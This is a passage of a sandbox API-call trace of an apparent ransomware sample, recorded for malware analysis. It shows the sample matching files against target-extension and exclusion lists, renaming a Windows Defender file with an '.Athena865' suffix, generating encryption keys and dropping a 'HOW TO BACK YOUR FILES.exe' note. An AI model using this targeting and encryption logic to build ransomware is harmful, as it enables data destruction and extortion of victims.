lstrlenW (lpString="ba_") returned 3 [0096.143] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0096.143] lstrlenW (lpString="dbb") returned 3 [0096.143] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0096.143] lstrlenW (lpString="vmdk") returned 4 [0096.143] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0096.143] lstrlenW (lpString="rar") returned 3 [0096.143] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0096.143] lstrlenW (lpString="zip") returned 3 [0096.143] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0096.143] lstrlenW (lpString="tgz") returned 3 [0096.143] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0096.144] lstrlenW (lpString="vbox") returned 4 [0096.144] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0096.144] lstrlenW (lpString="vdi") returned 3 [0096.144] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0096.144] lstrlenW (lpString="vhd") returned 3 [0096.144] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0096.144] lstrlenW (lpString="vhdx") returned 4 [0096.144] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0096.144] lstrlenW (lpString="avhd") returned 4 [0096.144] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0096.144] lstrlenW (lpString="db") returned 2 [0096.144] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0096.144] lstrlenW (lpString="db2") returned 3 [0096.144] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0096.144] lstrlenW (lpString="db3") returned 3 [0096.144] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0096.144] lstrlenW (lpString="dbf") returned 3 [0096.144] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0096.144] lstrlenW (lpString="mdf") returned 3 [0096.144] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0096.144] lstrlenW (lpString="mdb") returned 3 [0096.144] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0096.144] lstrlenW (lpString="sql") returned 3 [0096.144] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0096.144] lstrlenW (lpString="sqlite") returned 6 [0096.144] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0096.144] lstrlenW (lpString="sqlite3") returned 7 [0096.144] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0096.144] lstrlenW (lpString="sqlitedb") returned 8 [0096.144] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0096.144] lstrlenW (lpString="xml") returned 3 [0096.145] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0096.145] lstrlenW (lpString="$er") returned 3 [0096.145] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0096.145] lstrlenW (lpString="4dd") returned 3 [0096.145] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0096.145] lstrlenW (lpString="4dl") returned 3 [0096.145] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0096.145] lstrlenW (lpString="^^^") returned 3 [0096.145] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0096.145] lstrlenW (lpString="abs") returned 3 [0096.145] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0096.145] lstrlenW (lpString="abx") returned 3 [0096.145] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0096.145] lstrlenW (lpString="accdb") returned 5 [0096.145] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0096.145] lstrlenW (lpString="accdc") returned 5 [0096.145] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0096.145] lstrlenW (lpString="accde") returned 5 [0096.145] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0096.145] lstrlenW (lpString="accdr") returned 5 [0096.145] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0096.145] lstrlenW (lpString="accdt") returned 5 [0096.145] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0096.145] lstrlenW (lpString="accdw") returned 5 [0096.145] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0096.145] lstrlenW (lpString="accft") returned 5 [0096.145] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0096.145] lstrlenW (lpString="adb") returned 3 [0096.145] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0096.146] lstrlenW (lpString="adb") returned 3 [0096.146] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0096.146] lstrlenW (lpString="ade") returned 3 [0096.146] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0096.146] lstrlenW (lpString="adf") returned 3 [0096.146] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0096.146] lstrlenW (lpString="adn") returned 3 [0096.146] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0096.146] lstrlenW (lpString="adp") returned 3 [0096.146] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0096.146] lstrlenW (lpString="alf") returned 3 [0096.146] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0096.146] lstrlenW (lpString="ask") returned 3 [0096.146] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0096.146] lstrlenW (lpString="btr") returned 3 [0096.146] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0096.146] lstrlenW (lpString="cat") returned 3 [0096.146] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0096.146] lstrlenW (lpString="cdb") returned 3 [0096.146] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0096.146] lstrlenW (lpString="ckp") returned 3 [0096.146] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0096.146] lstrlenW (lpString="cma") returned 3 [0096.146] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0096.146] lstrlenW (lpString="cpd") returned 3 [0096.146] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0096.146] lstrlenW (lpString="dacpac") returned 6 [0096.146] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0096.146] lstrlenW (lpString="dad") returned 3 [0096.146] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0096.146] lstrlenW (lpString="dadiagrams") returned 10 [0096.147] lstrcmpiW (lpString1="sg.dll.mui", lpString2="dadiagrams") returned 1 [0096.147] lstrlenW (lpString="daschema") returned 8 [0096.147] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0096.147] lstrlenW (lpString="db-journal") returned 10 [0096.147] lstrcmpiW (lpString1="sg.dll.mui", lpString2="db-journal") returned 1 [0096.147] lstrlenW (lpString="db-shm") returned 6 [0096.147] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0096.147] lstrlenW (lpString="db-wal") returned 6 [0096.147] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0096.147] lstrlenW (lpString="dbc") returned 3 [0096.147] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0096.147] lstrlenW (lpString="dbs") returned 3 [0096.147] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0096.147] lstrlenW (lpString="dbt") returned 3 [0096.147] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0096.147] lstrlenW (lpString="dbv") returned 3 [0096.147] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0096.147] lstrlenW (lpString="dbx") returned 3 [0096.147] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0096.147] lstrlenW (lpString="dcb") returned 3 [0096.147] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0096.147] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui.Athena865") returned 71 [0096.147] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui" (normalized: "c:\\program files (x86)\\windows defender\\en-us\\mpevmsg.dll.mui"), lpNewFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\windows defender\\en-us\\mpevmsg.dll.mui.athena865"), dwFlags=0x1) returned 1 [0096.148] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\windows defender\\en-us\\mpevmsg.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.149] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15360) returned 1 [0096.149] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.149] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.149] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.149] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.150] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.150] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.150] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f00, lpName=0x0) returned 0x17c [0096.153] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f00) returned 0x100000 [0096.154] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.155] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.155] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.155] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.156] CloseHandle (hObject=0x17c) returned 1 [0096.156] CloseHandle (hObject=0x154) returned 1 [0096.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.156] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MpEvMsg.dll.mui", cAlternateFileName="")) returned 0 [0096.156] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0096.156] ReleaseMutex (hMutex=0xec) returned 1 [0096.156] CloseHandle (hObject=0xec) returned 1 [0096.156] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Windows Mail\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows Mail\\en-US") returned="C:\\Program Files (x86)\\Windows Mail\\en-US" [0096.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528410 | out: hHeap=0x4f0000) returned 1 [0096.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50da00 | out: hHeap=0x4f0000) returned 1 [0096.156] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Mail\\en-US") returned 41 [0096.156] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\3364AE439DEAFC19DD1447551C7EC053") returned 0xec [0096.156] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0096.157] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Mail\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows Mail\\en-US") returned="C:\\Program Files (x86)\\Windows Mail\\en-US" [0096.157] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0096.157] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows mail\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0 [0096.157] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows mail\\en-us\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0096.157] GetLastError () returned 0x0 [0096.157] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0096.157] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0096.157] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0096.158] CloseHandle (hObject=0xf4) returned 1 [0096.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0096.158] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0096.158] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc3551380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc3551380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0096.159] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.159] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.159] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0096.159] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc3551380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc3551380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.159] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.159] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.159] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0096.159] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0096.159] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3551380, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc3551380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0096.159] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0096.159] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe506d6c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe506d6c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1 [0096.159] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.159] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.159] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2=".") returned 1 [0096.159] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="..") returned 1 [0096.159] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="windows") returned -1 [0096.159] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="bootmgr") returned 1 [0096.159] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="temp") returned -1 [0096.159] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="pagefile.sys") returned -1 [0096.159] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="boot") returned 1 [0096.159] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="ids.txt") returned 1 [0096.159] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="ntuser.dat") returned -1 [0096.159] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="perflogs") returned -1 [0096.160] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="MSBuild") returned 1 [0096.160] lstrlenW (lpString="msoeres.dll.mui") returned 15 [0096.160] lstrcpyW (in: lpString1=0x241e89c, lpString2="msoeres.dll.mui" | out: lpString1="msoeres.dll.mui") returned="msoeres.dll.mui" [0096.160] lstrlenW (lpString="msoeres.dll.mui") returned 15 [0096.160] lstrlenW (lpString="Athena865") returned 9 [0096.160] lstrcmpiW (lpString1="s.dll.mui", lpString2="Athena865") returned 1 [0096.160] lstrlenW (lpString=".dll") returned 4 [0096.160] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2=".dll") returned 1 [0096.160] lstrlenW (lpString=".lnk") returned 4 [0096.160] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2=".lnk") returned 1 [0096.160] lstrlenW (lpString=".ini") returned 4 [0096.160] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2=".ini") returned 1 [0096.160] lstrlenW (lpString=".sys") returned 4 [0096.160] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2=".sys") returned 1 [0096.160] lstrlenW (lpString="msoeres.dll.mui") returned 15 [0096.160] lstrlenW (lpString="bak") returned 3 [0096.160] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0096.160] lstrlenW (lpString="ba_") returned 3 [0096.160] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0096.160] lstrlenW (lpString="dbb") returned 3 [0096.160] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0096.160] lstrlenW (lpString="vmdk") returned 4 [0096.160] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0096.160] lstrlenW (lpString="rar") returned 3 [0096.160] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0096.160] lstrlenW (lpString="zip") returned 3 [0096.160] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0096.160] lstrlenW (lpString="tgz") returned 3 [0096.160] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0096.160] lstrlenW (lpString="vbox") returned 4 [0096.161] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0096.161] lstrlenW (lpString="vdi") returned 3 [0096.161] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0096.161] lstrlenW (lpString="vhd") returned 3 [0096.161] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0096.161] lstrlenW (lpString="vhdx") returned 4 [0096.161] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0096.161] lstrlenW (lpString="avhd") returned 4 [0096.161] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0096.161] lstrlenW (lpString="db") returned 2 [0096.161] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0096.161] lstrlenW (lpString="db2") returned 3 [0096.161] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0096.161] lstrlenW (lpString="db3") returned 3 [0096.161] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0096.161] lstrlenW (lpString="dbf") returned 3 [0096.161] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0096.161] lstrlenW (lpString="mdf") returned 3 [0096.161] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0096.161] lstrlenW (lpString="mdb") returned 3 [0096.161] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0096.161] lstrlenW (lpString="sql") returned 3 [0096.161] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0096.161] lstrlenW (lpString="sqlite") returned 6 [0096.161] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0096.161] lstrlenW (lpString="sqlite3") returned 7 [0096.161] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0096.161] lstrlenW (lpString="sqlitedb") returned 8 [0096.161] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0096.161] lstrlenW (lpString="xml") returned 3 [0096.162] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0096.162] lstrlenW (lpString="$er") returned 3 [0096.162] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0096.162] lstrlenW (lpString="4dd") returned 3 [0096.162] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0096.162] lstrlenW (lpString="4dl") returned 3 [0096.162] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0096.162] lstrlenW (lpString="^^^") returned 3 [0096.162] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0096.162] lstrlenW (lpString="abs") returned 3 [0096.162] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0096.162] lstrlenW (lpString="abx") returned 3 [0096.162] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0096.162] lstrlenW (lpString="accdb") returned 5 [0096.162] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0096.162] lstrlenW (lpString="accdc") returned 5 [0096.162] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0096.162] lstrlenW (lpString="accde") returned 5 [0096.162] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0096.162] lstrlenW (lpString="accdr") returned 5 [0096.162] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0096.162] lstrlenW (lpString="accdt") returned 5 [0096.162] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0096.162] lstrlenW (lpString="accdw") returned 5 [0096.162] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0096.162] lstrlenW (lpString="accft") returned 5 [0096.162] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0096.162] lstrlenW (lpString="adb") returned 3 [0096.162] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0096.162] lstrlenW (lpString="adb") returned 3 [0096.163] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0096.163] lstrlenW (lpString="ade") returned 3 [0096.163] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0096.163] lstrlenW (lpString="adf") returned 3 [0096.163] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0096.163] lstrlenW (lpString="adn") returned 3 [0096.163] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0096.163] lstrlenW (lpString="adp") returned 3 [0096.163] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0096.163] lstrlenW (lpString="alf") returned 3 [0096.163] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0096.163] lstrlenW (lpString="ask") returned 3 [0096.163] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0096.163] lstrlenW (lpString="btr") returned 3 [0096.163] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0096.163] lstrlenW (lpString="cat") returned 3 [0096.163] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0096.163] lstrlenW (lpString="cdb") returned 3 [0096.163] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0096.163] lstrlenW (lpString="ckp") returned 3 [0096.163] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0096.163] lstrlenW (lpString="cma") returned 3 [0096.163] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0096.163] lstrlenW (lpString="cpd") returned 3 [0096.163] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0096.163] lstrlenW (lpString="dacpac") returned 6 [0096.163] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0096.163] lstrlenW (lpString="dad") returned 3 [0096.163] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0096.163] lstrlenW (lpString="dadiagrams") returned 10 [0096.163] lstrcmpiW (lpString1="es.dll.mui", lpString2="dadiagrams") returned 1 [0096.164] lstrlenW (lpString="daschema") returned 8 [0096.164] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0096.164] lstrlenW (lpString="db-journal") returned 10 [0096.164] lstrcmpiW (lpString1="es.dll.mui", lpString2="db-journal") returned 1 [0096.164] lstrlenW (lpString="db-shm") returned 6 [0096.164] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0096.164] lstrlenW (lpString="db-wal") returned 6 [0096.164] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0096.164] lstrlenW (lpString="dbc") returned 3 [0096.164] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0096.164] lstrlenW (lpString="dbs") returned 3 [0096.164] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0096.164] lstrlenW (lpString="dbt") returned 3 [0096.164] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0096.164] lstrlenW (lpString="dbv") returned 3 [0096.164] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0096.164] lstrlenW (lpString="dbx") returned 3 [0096.164] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0096.164] lstrlenW (lpString="dcb") returned 3 [0096.164] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0096.164] lstrlenW (lpString="dct") returned 3 [0096.164] lstrcmpiW (lpString1="mui", lpString2="dct") returned 